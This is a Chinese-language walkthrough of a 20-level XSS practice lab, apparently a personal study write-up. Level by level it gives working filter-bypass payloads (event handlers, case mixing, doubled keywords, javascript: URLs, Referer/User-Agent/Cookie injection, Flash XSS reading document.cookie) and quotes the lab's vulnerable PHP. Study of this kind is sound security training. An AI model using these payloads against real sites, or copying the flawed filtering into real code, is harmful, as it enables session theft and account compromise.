1.開始
<script>alert('a')</script>
<script>alert(1)</script>
<script>confirm("完成的不錯!")</script> <script>prompt("完成的不錯!")</script>
2.注意閉合
test"> <script>alert('1')</script>
test"><script>confirm("完成的不錯!")</script> test"><script>prompt("完成的不錯!")</script>
3.尖括号被過濾,用事件來觸發,單引号閉合
' oninput=alert`1` // ' oninput=alert`1` ' ' onchange=alert`1` // ' onchange=alert`1` '
' onclick='window.alert()
來源: http://www.runoob.com/jsref/event-oninput.html
oninput 事件
執行個體
當使用者向 <input> 中嘗試輸入時執行 JavaScript:<input type="text" οninput="myFunction()">
定義和用法
oninput 事件在使用者輸入時觸發。
該事件在 <input> 或 <textarea> 元素的值發生改變時觸發。
提示: 該事件類似于onchange 事件。不同之處在于 oninput 事件在元素值發生變化是立即觸發, onchange 在元素失去焦點時觸發。另外一點不同是 onchange 事件也可以作用于 <keygen> 和 <select> 元素。
4.跟第三關一樣,隻是閉合換成雙引号
" oninput=alert`1` //
5.看源碼,把on替換成了o_n;script替換成了sc_ript
意思就是不用事件和script
"> <a href="javascript:alert(/1/)" target="_blank" rel="external nofollow" >click me</a> //
生成一個跳轉連接配接
6.主要是大小寫問題,可以用大小寫繞過技術
"> <Script>alert('handsome boy')</script> // "> <img Src=x OnError=alert('xss')> //
為什麼第五關不能用大小寫繞過,檢視源碼,發現調用下面函數,
7.用null代替常見字元
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //
8.過濾了:",src,on,script,data測試代碼:
"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>
<input name=keyword value=""'%&#></script><pclass="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">
利用代碼為:javascript:alert(1)
可以用十六進制轉換來繞過過濾;
javascript:alert(1)
9.多了下面一句,檢測URL合法性
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的連結不合法?有沒有!" target="_blank" rel="external nofollow" >友情連結</a></center>';
}
javascript:alert(1) //http://
javascript:alert(1)//http://
10.過濾“<”,">"尖括号
尖括号被過濾,第一考慮事件型來觸發XSS
看源碼
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>;
?>
發現除了keyword,還接受t_sort參數,雖然keyword沒有過濾<>,但是不關他鳥事啊。。。
再往後看,t_sort type="hidden",是以構造的時候要帶上type="text",顯示文本内容
?keyword=12&t_sort="; type="text" onclick="alert(111)
?keyword=12&t_sort="; type="text" onmouseover="alert(111)
前後對比
11.插Referer
再結合源碼
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
...
<input name="t_ref" value="'.$str33.'" type="hidden">
同樣的過濾了<>,跟第十關一樣,也可以自己構造Referer
Referer:12&t_sort="; type="text" onclick="alert(111)
12.插USER_AGENT
與11一樣
13.插Cookie
同樣,但是要注意參數名字為user,注意構造的語句閉合問題。
" type="text" οnclick="alert(111)
借助F12,來fuzz,檢視接收和過濾的字元。
14.圖檔的EXIF資訊渲染解析導緻XSS
檢視源碼得知,嵌入了一個iframe頁面,通路這個網站http://www.exifviewer.org/,是檢視圖檔的EXIF資訊的網站,說明這是檔案上傳圖檔的XSS。
此題的網站已關閉;
可參考:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html
15.AngularJS ng-include指令
15的正确通路連結如下;
http://127.0.0.1/xss/level15.php?src=1.gif
ng-include 指令用于包含外部的 HTML 檔案。
包含的内容将作為指定元素的子節點。
ng-include 屬性的值可以是一個表達式,傳回一個檔案名。
預設情況下,包含的檔案需要包含在同一個域名下。
'level4.php?keyword=%22%20οnfοcus=alert(1)%20%22'
網上查是這個playload,但是不成功;以前也沒有遇到過這種,暫時解不出來。
16.過濾script、空格、/
用%0d換行符繞過
playload:<img%0Dsrc=1%0Dοnerrοr=alert(1)>
17.過濾<>
但是輸入的内容在embed标簽中,<embed> 标簽定義嵌入的内容,比如插件;
利用事件标簽來觸發,onmousedown、onfocus等都可以,但是不知道為什麼onclick不可以。
playload:arg01=a&arg02=b οnfοcus=alert(1)
兩個參數均可。
18.跟17一樣
arg01=a&arg02=b οnfοcus=alert(1)
我這邊測試跟17一摸一樣,但是網上說隻有第一個參數生效,隻是看php的源碼看不出差別,貌似跟flash有關,也就是源碼裡的幾個swf檔案,太菜,不懂。
19.flash xss
參考:http://blog.icxun.cn/note/308.html playload:arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
20.依舊不懂
playload:
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height